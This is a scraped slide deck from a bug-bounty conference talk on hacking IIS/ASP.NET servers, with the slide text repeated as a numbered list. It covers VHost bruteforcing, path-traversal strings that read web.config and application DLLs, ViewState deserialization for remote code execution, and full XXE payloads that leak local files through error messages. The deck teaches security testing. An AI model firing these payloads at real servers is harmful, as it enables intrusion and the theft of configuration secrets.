SlideShare a Scribd company logo
Hacking IIS
w/ shubs
Hacking IIS - NahamCon.pdf
Dealing with HTTPAPI 2.0
Assets
Have you seen this before?
• Either, you’re missing the subdomain associated with the IP address (No SSL certificate)
• Or the subdomain doesn’t resolve but you can obtain a full/partial subdomain from the SSL
certificate
Resolving the HTTPAPI 2.0 404 Error
• This is super simple, but often people skip assets when they see the HTTPAPI
2.0 404 error. This error usually means that the asset needs the correct host
header to route to the application.
• You’re not always fortunate enough to have the full subdomain provided to
you via the SSL certificate.
• If you know the hostname, simply provide the hostname in the HTTP Host
header.
• Sometimes you have to bruteforce VHosts until you can access the
application.
Hacking IIS - NahamCon.pdf
After fixing the host header
• Add a line to your /etc/hosts file to map the correct host name to the IP
address of the asset.
• Run all of your scanning again, including your enumeration through IIS
shortname scanner.
• Perform VHost enumeration/bruteforcing to see if there are any other
applications that are present on the host.
• Find all other assets that respond with HTTPAPI 2.0 404 errors and apply the
same workflow (rinse and repeat).
VHost Hopping
Accessing an internal admin panel via VHost
Hopping ($1900)
• Came across an asset that looked something like apply.company.com
running IIS.
• Used a large subdomain wordlist to bruteforce VHosts using Burp Intruder
(%bruteforce%.company.com).
• Large and different response returned for mssql.company.com which was
not accessible externally, only accessible through “VHost Hopping”.
• This was running a MSSQL database manager/explorer (https://
sourceforge.net/projects/asp-ent-man/).
Accessing the VHost
• Often, on IIS servers, there may be internal applications running under a
different host name. Host name bruteforcing / VHost hopping is very
effective in IIS environments.
• A simple match and replace rule to facilitate the access:
Reap the benefits
Reap the benefits
Local File Disclosure to DLLs
Typical Local File Disclosure in C#
[Route("v1/DownloadCategoryExcel")]
public HttpResponseMessage DownloadCategoryExcel(string fileName)
{
string path = HttpContext.Current.Server.MapPath("~/Content/PDF/" + fileName);
HttpResponseMessage httpResponseMessage = new HttpResponseMessage(HttpStatusCode.OK);
FileStream fileStream = new FileStream(path, FileMode.Open);
httpResponseMessage.Content = (HttpContent) new StreamContent((Stream) fileStream);
httpResponseMessage.Content.Headers.ContentDisposition = new ContentDispositionHeaderValue("attachment");
httpResponseMessage.Content.Headers.ContentDisposition.FileName = Path.GetFileName(path);
httpResponseMessage.Content.Headers.ContentType = new MediaTypeHeaderValue("application/octet-stream");
httpResponseMessage.Content.Headers.ContentLength = new long?(fileStream.Length);
return httpResponseMessage;
}
Local file disclosure? web.config is your friend.
• Follow this resource: https://bit.ly/36D3WQg (From Path Traversal to Source
Code in Asp.NET MVC Applications - Minded Security)
• DownloadCategoryExcel?fileName=../../web.config
• DownloadCategoryExcel?fileName=../../global.asax
• <add namespace="Company.Web.Api.dll" / >
• DownloadCategoryExcel?fileName=../../bin/Company.Web.Api.dll
• Repeat for other namespaces if necessary.
Local File Disclosure → RCE
ASP.NET Viewstate Deserialization
• Nominated for a pwnie award for “most under hyped research”
https://bit.ly/2MzJ1qI & white paper: https://bit.ly/2NDZc73
• For IIS webservers, if you can read the web.config file, you can almost always
get RCE.
• Obtain the machineKey variable from the web.config file (validationKey,
decryptionKey)
• https://github.com/0xacb/viewgen
• VIEWSTATE → ObjectStateFormatter (Insecure Deserialization) → RCE
Using DNSpy
Targeting Dependencies
• Let’s say you come across an endpoint like the following:
• /admin/cutesoft_client/cuteeditor/uploader.ashx
• Cutesoft Editor is available for download via http://cutesoft.net/downloads/
12/default.aspx.
• The ZIP file that can be downloaded from the above URL contains a number
of DLL files, but no source code.
• We can use DNSpy to analyse the source code and find vulnerabilities.
Source Code Analysis through DNSpy
• https://github.com/dnSpy/dnSpy/releases
• DNSpy is capable of reversing assemblies (i.e DLL files) back into source
code. Simply load the DLL file and export the source code project.
Hacking IIS - NahamCon.pdf
Navigating through DNSpy
Complex XXE Vectors
Constraints
• No outbound HTTP traffic. The only outbound traffic possible is DNS.
• Your external entity is not being displayed in the response anywhere.
• You cannot use an external DTD because you cannot reach your external
host via HTTP.
• Thankfully, stack traces are enabled.
• How do you exploit this XXE?
• XXE Payloads available here: https://bit.ly/3cF8pWs
Local DTDs (Attempt 1)
• https://bit.ly/2LjXoyM (Exploiting XXE with local DTD files)
<?xml version=”1.0″ ?>
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM
"file:///C:/Windows/System32/wbem/xml/cim20.dtd">
<!ENTITY % SuperClass '>
<!ENTITY &#x25; file SYSTEM "file:///c:/windows/system.ini">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM
&#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>
<message>any text</message>
Local DTD
Local File
to Read
Side
Channel
Leak
Stack Trace But No Love
Error parsing request: System.Xml.XmlException: An error occurred while parsing EntityName. Line 37, position 46.
at System.Xml.XmlTextReaderImpl.Throw(Exception e)
at System.Xml.DtdParser.ScanEntityName()
at System.Xml.DtdParser.ScanLiteral(LiteralType literalType)
at System.Xml.DtdParser.ScanEntity2()
at System.Xml.DtdParser.ParseEntityDecl()
at System.Xml.DtdParser.ParseSubset()
at System.Xml.DtdParser.ParseInDocumentDtd(Boolean saveInternalSubset)
at System.Xml.DtdParser.Parse(Boolean saveInternalSubset)
at System.Xml.DtdParser.System.Xml.IDtdParser.ParseInternalDtd(IDtdParserAdapter adapter, Boolean saveInternalSubset)
at System.Xml.XmlTextReaderImpl.ParseDtd()
at System.Xml.XmlTextReaderImpl.ParseDoctypeDecl()
at System.Xml.XmlTextReaderImpl.ParseDocumentContent()
at System.Xml.XmlLoader.Load(XmlDocument doc, XmlReader reader, Boolean preserveWhitespace)
at System.Xml.XmlDocument.Load(XmlReader reader)
at System.Xml.XmlDocument.LoadXml(String xml)
No data, parsing error
😭
Local DTDs (Attempt 2)
• A huge thank you to Robert Vulpe on Twitter for this trick: @nytr0gen_
<?xml version=”1.0″ ?>
<!DOCTYPE doc [
<!ENTITY % local_dtd SYSTEM "file:///C:WindowsSystem32wbemxmlcim20.dtd">
<!ENTITY % SuperClass '>
<!ENTITY &#x25; file SYSTEM "file://D:webserv2servicesweb.config">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM
&#x27;file://nonexistent/#&#x25;file;&#x27;>”>
&#x25;eval;
&#x25;error;
<!ENTITY test "test"'
>
%local_dtd;
]><xxx>cacat</xxx>
Added a # so that the
file entity is a part
of a fragment
identifier
🎉🎉🎉🎉 Fragment Identifier
Error
Partial File Contents
Partial Fuzzing w/ Short Names
Logical fuzzing of files and folders
• After running Shortname Enumeration on your target, you may end up with
output like so:
› go run cmd/shortscan/main.go http://redacted/
Shortscan v0.4 // an IIS short filename enumeration tool by bitquark
Target: http://redacted/
Running: Microsoft-IIS/8.5 (ASP.NET v4.0.30319)
Vulnerable: Yes!
--------------------------------------------------------------------------------
ASPNET~1 ASPNET? ASPNET_CLIENT
LIDSDI~1 LIDSDI?
LIDSSE~1 LIDSSE?
LIDSTE~1 LIDSTE?
EASYFI~1 EASYFI?
--------------------------------------------------------------------------------
Finished! Requests: 250; Retries: 0; Sent 48277 bytes; Received 105151 bytes
Logical fuzzing of files and folders
• Try and find the most logical cut off point.
• For example, for ffuf, you would put use the following fuzzing pattern:
• LIDSDI_____ → LIDSFUZZ
• LIDSSE_____ → LIDSFUZZ
• EASYFI_____ → EASYFUZZ
• ./ffuf -w final_wordlist.txt -D -e asp,aspx,ashx,asmx -t 1000 -c -u
http://redacted/lidsFUZZ
SSH: shubs@mothership ~/w/ffuf-brute $ ./ffuf -w final_fucking_wordlist.txt -D -e asp,html,aspx,ashx,asmx 
-t 1000 -c -u http://redacted/lidsFUZZ
/'___ /'___ /'___
/ __/ / __/ __ __ / __/
  ,__  ,__/ /    ,__
  _/   _/  _    _/
 _  _  ____/  _
/_/ /_/ /___/ /_/
v1.1.0
________________________________________________
:: Method : GET
:: URL : http://redacted/lidsFUZZ
:: Wordlist : FUZZ: final_fucking_wordlist.txt
:: Extensions : asp html aspx ashx asmx
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 1000
:: Matcher : Response status: 200,204,301,302,307,401,403
________________________________________________
test [Status: 301, Size: 154, Words: 9, Lines: 2]
TEST [Status: 301, Size: 154, Words: 9, Lines: 2]
Test [Status: 301, Size: 154, Words: 9, Lines: 2]
display [Status: 301, Size: 157, Words: 9, Lines: 2]
Display [Status: 301, Size: 157, Words: 9, Lines: 2]
Service [Status: 301, Size: 150, Words: 9, Lines: 2]
:: Progress: [700801/700801] :: Job [1/1] :: 4800 req/sec :: Duration: [0:02:26] :: Errors: 0 ::
• ./crunch 0 3 abcdefghijklmnopqrstuvwxyz0123456789 -o 3chars.txt
• https://bit.ly/3q2yFwY
More resources on hacking IIS
• https://bit.ly/3uzOP4N → Assetnote Youtube Channel
• https://youtu.be/HrJW6Y9kHC4 → Hacking IIS Part 1
• https://youtu.be/_4W0WXUatiw → Hacking IIS Part 2
• http://soroush.secproject.com/blog/ → My favourite blog on IIS hacking
• https://twitter.com/bitquark → Building an amazing IIS shortname scanner
• https://twitter.com/nytr0gen_ → Discovered the XXE technique for partial
leakage via fragment identifier errors
assetnote.io @assetnote

More Related Content

PDF
Recon for Bug Bounty by Agnibha Dutta.pdf
PPTX
Six Degrees of Domain Admin - BloodHound at DEF CON 24
PDF
DNS hijacking using cloud providers – No verification needed
PDF
Frans Rosén Keynote at BSides Ahmedabad
PDF
BloodHound Unleashed.pdf
PDF
Derbycon - The Unintended Risks of Trusting Active Directory
PDF
Cross Origin Resource Sharing
PDF
How to steal and modify data using Business Logic flaws - Insecure Direct Obj...
Recon for Bug Bounty by Agnibha Dutta.pdf
Six Degrees of Domain Admin - BloodHound at DEF CON 24
DNS hijacking using cloud providers – No verification needed
Frans Rosén Keynote at BSides Ahmedabad
BloodHound Unleashed.pdf
Derbycon - The Unintended Risks of Trusting Active Directory
Cross Origin Resource Sharing
How to steal and modify data using Business Logic flaws - Insecure Direct Obj...

What's hot (20)

ODP
OAuth2 - Introduction
PPTX
Abusing Microsoft Kerberos - Sorry you guys don't get it
PPTX
I hunt sys admins 2.0
PDF
RNUG - Virtual, Faster, Better! How to deploy HCL Notes 11.0.1 FP2 for Citrix...
PDF
VictoriaMetrics 15/12 Meet Up: 2022 Features Highlights
PDF
The-Power-Of-Recon (1)-poerfulo.pptx.pdf
PDF
OAuth 2.0
PDF
The Hacker's Guide to NoSQL Injection
PPTX
Dangling DNS records takeover at scale
PPTX
An Introduction to OAuth 2
PDF
Best practices for highly available and large scale SolrCloud
PPTX
Waf bypassing Techniques
PDF
All You Need is One - A ClickOnce Love Story - Secure360 2015
PDF
ReCertifying Active Directory
PPTX
Not a Security Boundary: Bypassing User Account Control
PDF
Domino server controller domino console
PDF
Securing AEM webapps by hacking them
PDF
Fluentd v0.14 Plugin API Details
PPTX
44CON London 2015: NTFS Analysis with PowerForensics
PDF
Offzone | Another waf bypass
OAuth2 - Introduction
Abusing Microsoft Kerberos - Sorry you guys don't get it
I hunt sys admins 2.0
RNUG - Virtual, Faster, Better! How to deploy HCL Notes 11.0.1 FP2 for Citrix...
VictoriaMetrics 15/12 Meet Up: 2022 Features Highlights
The-Power-Of-Recon (1)-poerfulo.pptx.pdf
OAuth 2.0
The Hacker's Guide to NoSQL Injection
Dangling DNS records takeover at scale
An Introduction to OAuth 2
Best practices for highly available and large scale SolrCloud
Waf bypassing Techniques
All You Need is One - A ClickOnce Love Story - Secure360 2015
ReCertifying Active Directory
Not a Security Boundary: Bypassing User Account Control
Domino server controller domino console
Securing AEM webapps by hacking them
Fluentd v0.14 Plugin API Details
44CON London 2015: NTFS Analysis with PowerForensics
Offzone | Another waf bypass

Similar to Hacking IIS - NahamCon.pdf (20)

PDF
CNIT 129S: 10: Attacking Back-End Components
PPTX
Windows Phone 8 - 12 Network Communication
PDF
11.Open Data Protocol(ODATA)
PPT
Hack applications
PPT
performing security testing of web applications.web-and- -hacking.ppt
PDF
Ch 10: Attacking Back-End Components
PDF
Ch 13: Attacking Other Users: Other Techniques (Part 1)
PPTX
Hack ASP.NET website
PPTX
RESTful design
PPTX
Programming web application
PPTX
TO Hack an ASP .NET website?
PDF
Ekoparty 2017 - The Bug Hunter's Methodology
PPTX
Harish Understanding Aspnet
PDF
Top 10 Security Vulnerabilities (2006)
PPT
Hacking web applications
PPT
Web Attacks - Top threats - 2010
PDF
Beyond OWASP Top 10 - TASK October 2017
PDF
Clear AppSec Visibility with AppSpider and ThreadFix
PPTX
How to get along with HATEOAS without letting the bad guys steal your lunch?
PDF
Web II - 02 - How ASP.NET Works
CNIT 129S: 10: Attacking Back-End Components
Windows Phone 8 - 12 Network Communication
11.Open Data Protocol(ODATA)
Hack applications
performing security testing of web applications.web-and- -hacking.ppt
Ch 10: Attacking Back-End Components
Ch 13: Attacking Other Users: Other Techniques (Part 1)
Hack ASP.NET website
RESTful design
Programming web application
TO Hack an ASP .NET website?
Ekoparty 2017 - The Bug Hunter's Methodology
Harish Understanding Aspnet
Top 10 Security Vulnerabilities (2006)
Hacking web applications
Web Attacks - Top threats - 2010
Beyond OWASP Top 10 - TASK October 2017
Clear AppSec Visibility with AppSpider and ThreadFix
How to get along with HATEOAS without letting the bad guys steal your lunch?
Web II - 02 - How ASP.NET Works

Recently uploaded (20)

PDF
Spectral efficient network and resource selection model in 5G networks
PDF
Mobile App Security Testing_ A Comprehensive Guide.pdf
PDF
Encapsulation_ Review paper, used for researhc scholars
PPT
“AI and Expert System Decision Support & Business Intelligence Systems”
PPTX
MYSQL Presentation for SQL database connectivity
PDF
Electronic commerce courselecture one. Pdf
PDF
MIND Revenue Release Quarter 2 2025 Press Release
PDF
7 ChatGPT Prompts to Help You Define Your Ideal Customer Profile.pdf
PDF
Video forgery: An extensive analysis of inter-and intra-frame manipulation al...
PDF
Diabetes mellitus diagnosis method based random forest with bat algorithm
PDF
Architecting across the Boundaries of two Complex Domains - Healthcare & Tech...
PDF
cuic standard and advanced reporting.pdf
PDF
The Rise and Fall of 3GPP – Time for a Sabbatical?
PDF
Approach and Philosophy of On baking technology
PDF
Blue Purple Modern Animated Computer Science Presentation.pdf.pdf
PDF
Profit Center Accounting in SAP S/4HANA, S4F28 Col11
PPTX
Big Data Technologies - Introduction.pptx
PDF
Agricultural_Statistics_at_a_Glance_2022_0.pdf
PDF
Optimiser vos workloads AI/ML sur Amazon EC2 et AWS Graviton
PDF
Per capita expenditure prediction using model stacking based on satellite ima...
Spectral efficient network and resource selection model in 5G networks
Mobile App Security Testing_ A Comprehensive Guide.pdf
Encapsulation_ Review paper, used for researhc scholars
“AI and Expert System Decision Support & Business Intelligence Systems”
MYSQL Presentation for SQL database connectivity
Electronic commerce courselecture one. Pdf
MIND Revenue Release Quarter 2 2025 Press Release
7 ChatGPT Prompts to Help You Define Your Ideal Customer Profile.pdf
Video forgery: An extensive analysis of inter-and intra-frame manipulation al...
Diabetes mellitus diagnosis method based random forest with bat algorithm
Architecting across the Boundaries of two Complex Domains - Healthcare & Tech...
cuic standard and advanced reporting.pdf
The Rise and Fall of 3GPP – Time for a Sabbatical?
Approach and Philosophy of On baking technology
Blue Purple Modern Animated Computer Science Presentation.pdf.pdf
Profit Center Accounting in SAP S/4HANA, S4F28 Col11
Big Data Technologies - Introduction.pptx
Agricultural_Statistics_at_a_Glance_2022_0.pdf
Optimiser vos workloads AI/ML sur Amazon EC2 et AWS Graviton
Per capita expenditure prediction using model stacking based on satellite ima...

Hacking IIS - NahamCon.pdf

  • 3. Dealing with HTTPAPI 2.0 Assets
  • 4. Have you seen this before? • Either, you’re missing the subdomain associated with the IP address (No SSL certificate) • Or the subdomain doesn’t resolve but you can obtain a full/partial subdomain from the SSL certificate
  • 5. Resolving the HTTPAPI 2.0 404 Error • This is super simple, but often people skip assets when they see the HTTPAPI 2.0 404 error. This error usually means that the asset needs the correct host header to route to the application. • You’re not always fortunate enough to have the full subdomain provided to you via the SSL certificate. • If you know the hostname, simply provide the hostname in the HTTP Host header. • Sometimes you have to bruteforce VHosts until you can access the application.
  • 7. After fixing the host header • Add a line to your /etc/hosts file to map the correct host name to the IP address of the asset. • Run all of your scanning again, including your enumeration through IIS shortname scanner. • Perform VHost enumeration/bruteforcing to see if there are any other applications that are present on the host. • Find all other assets that respond with HTTPAPI 2.0 404 errors and apply the same workflow (rinse and repeat).
  • 9. Accessing an internal admin panel via VHost Hopping ($1900) • Came across an asset that looked something like apply.company.com running IIS. • Used a large subdomain wordlist to bruteforce VHosts using Burp Intruder (%bruteforce%.company.com). • Large and different response returned for mssql.company.com which was not accessible externally, only accessible through “VHost Hopping”. • This was running a MSSQL database manager/explorer (https:// sourceforge.net/projects/asp-ent-man/).
  • 10. Accessing the VHost • Often, on IIS servers, there may be internal applications running under a different host name. Host name bruteforcing / VHost hopping is very effective in IIS environments. • A simple match and replace rule to facilitate the access:
  • 14. Typical Local File Disclosure in C# [Route("v1/DownloadCategoryExcel")] public HttpResponseMessage DownloadCategoryExcel(string fileName) { string path = HttpContext.Current.Server.MapPath("~/Content/PDF/" + fileName); HttpResponseMessage httpResponseMessage = new HttpResponseMessage(HttpStatusCode.OK); FileStream fileStream = new FileStream(path, FileMode.Open); httpResponseMessage.Content = (HttpContent) new StreamContent((Stream) fileStream); httpResponseMessage.Content.Headers.ContentDisposition = new ContentDispositionHeaderValue("attachment"); httpResponseMessage.Content.Headers.ContentDisposition.FileName = Path.GetFileName(path); httpResponseMessage.Content.Headers.ContentType = new MediaTypeHeaderValue("application/octet-stream"); httpResponseMessage.Content.Headers.ContentLength = new long?(fileStream.Length); return httpResponseMessage; }
  • 15. Local file disclosure? web.config is your friend. • Follow this resource: https://bit.ly/36D3WQg (From Path Traversal to Source Code in Asp.NET MVC Applications - Minded Security) • DownloadCategoryExcel?fileName=../../web.config • DownloadCategoryExcel?fileName=../../global.asax • <add namespace="Company.Web.Api.dll" / > • DownloadCategoryExcel?fileName=../../bin/Company.Web.Api.dll • Repeat for other namespaces if necessary.
  • 17. ASP.NET Viewstate Deserialization • Nominated for a pwnie award for “most under hyped research” https://bit.ly/2MzJ1qI & white paper: https://bit.ly/2NDZc73 • For IIS webservers, if you can read the web.config file, you can almost always get RCE. • Obtain the machineKey variable from the web.config file (validationKey, decryptionKey) • https://github.com/0xacb/viewgen • VIEWSTATE → ObjectStateFormatter (Insecure Deserialization) → RCE
  • 19. Targeting Dependencies • Let’s say you come across an endpoint like the following: • /admin/cutesoft_client/cuteeditor/uploader.ashx • Cutesoft Editor is available for download via http://cutesoft.net/downloads/ 12/default.aspx. • The ZIP file that can be downloaded from the above URL contains a number of DLL files, but no source code. • We can use DNSpy to analyse the source code and find vulnerabilities.
  • 20. Source Code Analysis through DNSpy • https://github.com/dnSpy/dnSpy/releases • DNSpy is capable of reversing assemblies (i.e DLL files) back into source code. Simply load the DLL file and export the source code project.
  • 24. Constraints • No outbound HTTP traffic. The only outbound traffic possible is DNS. • Your external entity is not being displayed in the response anywhere. • You cannot use an external DTD because you cannot reach your external host via HTTP. • Thankfully, stack traces are enabled. • How do you exploit this XXE? • XXE Payloads available here: https://bit.ly/3cF8pWs
  • 25. Local DTDs (Attempt 1) • https://bit.ly/2LjXoyM (Exploiting XXE with local DTD files) <?xml version=”1.0″ ?> <!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///C:/Windows/System32/wbem/xml/cim20.dtd"> <!ENTITY % SuperClass '> <!ENTITY &#x25; file SYSTEM "file:///c:/windows/system.ini"> <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>"> &#x25;eval; &#x25;error; '> %local_dtd; ]> <message>any text</message> Local DTD Local File to Read Side Channel Leak
  • 26. Stack Trace But No Love Error parsing request: System.Xml.XmlException: An error occurred while parsing EntityName. Line 37, position 46. at System.Xml.XmlTextReaderImpl.Throw(Exception e) at System.Xml.DtdParser.ScanEntityName() at System.Xml.DtdParser.ScanLiteral(LiteralType literalType) at System.Xml.DtdParser.ScanEntity2() at System.Xml.DtdParser.ParseEntityDecl() at System.Xml.DtdParser.ParseSubset() at System.Xml.DtdParser.ParseInDocumentDtd(Boolean saveInternalSubset) at System.Xml.DtdParser.Parse(Boolean saveInternalSubset) at System.Xml.DtdParser.System.Xml.IDtdParser.ParseInternalDtd(IDtdParserAdapter adapter, Boolean saveInternalSubset) at System.Xml.XmlTextReaderImpl.ParseDtd() at System.Xml.XmlTextReaderImpl.ParseDoctypeDecl() at System.Xml.XmlTextReaderImpl.ParseDocumentContent() at System.Xml.XmlLoader.Load(XmlDocument doc, XmlReader reader, Boolean preserveWhitespace) at System.Xml.XmlDocument.Load(XmlReader reader) at System.Xml.XmlDocument.LoadXml(String xml) No data, parsing error 😭
  • 27. Local DTDs (Attempt 2) • A huge thank you to Robert Vulpe on Twitter for this trick: @nytr0gen_ <?xml version=”1.0″ ?> <!DOCTYPE doc [ <!ENTITY % local_dtd SYSTEM "file:///C:WindowsSystem32wbemxmlcim20.dtd"> <!ENTITY % SuperClass '> <!ENTITY &#x25; file SYSTEM "file://D:webserv2servicesweb.config"> <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file://nonexistent/#&#x25;file;&#x27;>”> &#x25;eval; &#x25;error; <!ENTITY test "test"' > %local_dtd; ]><xxx>cacat</xxx> Added a # so that the file entity is a part of a fragment identifier
  • 29. Partial Fuzzing w/ Short Names
  • 30. Logical fuzzing of files and folders • After running Shortname Enumeration on your target, you may end up with output like so: › go run cmd/shortscan/main.go http://redacted/ Shortscan v0.4 // an IIS short filename enumeration tool by bitquark Target: http://redacted/ Running: Microsoft-IIS/8.5 (ASP.NET v4.0.30319) Vulnerable: Yes! -------------------------------------------------------------------------------- ASPNET~1 ASPNET? ASPNET_CLIENT LIDSDI~1 LIDSDI? LIDSSE~1 LIDSSE? LIDSTE~1 LIDSTE? EASYFI~1 EASYFI? -------------------------------------------------------------------------------- Finished! Requests: 250; Retries: 0; Sent 48277 bytes; Received 105151 bytes
  • 31. Logical fuzzing of files and folders • Try and find the most logical cut off point. • For example, for ffuf, you would put use the following fuzzing pattern: • LIDSDI_____ → LIDSFUZZ • LIDSSE_____ → LIDSFUZZ • EASYFI_____ → EASYFUZZ • ./ffuf -w final_wordlist.txt -D -e asp,aspx,ashx,asmx -t 1000 -c -u http://redacted/lidsFUZZ
  • 32. SSH: shubs@mothership ~/w/ffuf-brute $ ./ffuf -w final_fucking_wordlist.txt -D -e asp,html,aspx,ashx,asmx -t 1000 -c -u http://redacted/lidsFUZZ /'___ /'___ /'___ / __/ / __/ __ __ / __/ ,__ ,__/ / ,__ _/ _/ _ _/ _ _ ____/ _ /_/ /_/ /___/ /_/ v1.1.0 ________________________________________________ :: Method : GET :: URL : http://redacted/lidsFUZZ :: Wordlist : FUZZ: final_fucking_wordlist.txt :: Extensions : asp html aspx ashx asmx :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 1000 :: Matcher : Response status: 200,204,301,302,307,401,403 ________________________________________________ test [Status: 301, Size: 154, Words: 9, Lines: 2] TEST [Status: 301, Size: 154, Words: 9, Lines: 2] Test [Status: 301, Size: 154, Words: 9, Lines: 2] display [Status: 301, Size: 157, Words: 9, Lines: 2] Display [Status: 301, Size: 157, Words: 9, Lines: 2] Service [Status: 301, Size: 150, Words: 9, Lines: 2] :: Progress: [700801/700801] :: Job [1/1] :: 4800 req/sec :: Duration: [0:02:26] :: Errors: 0 ::
  • 33. • ./crunch 0 3 abcdefghijklmnopqrstuvwxyz0123456789 -o 3chars.txt • https://bit.ly/3q2yFwY
  • 34. More resources on hacking IIS • https://bit.ly/3uzOP4N → Assetnote Youtube Channel • https://youtu.be/HrJW6Y9kHC4 → Hacking IIS Part 1 • https://youtu.be/_4W0WXUatiw → Hacking IIS Part 2 • http://soroush.secproject.com/blog/ → My favourite blog on IIS hacking • https://twitter.com/bitquark → Building an amazing IIS shortname scanner • https://twitter.com/nytr0gen_ → Discovered the XXE technique for partial leakage via fragment identifier errors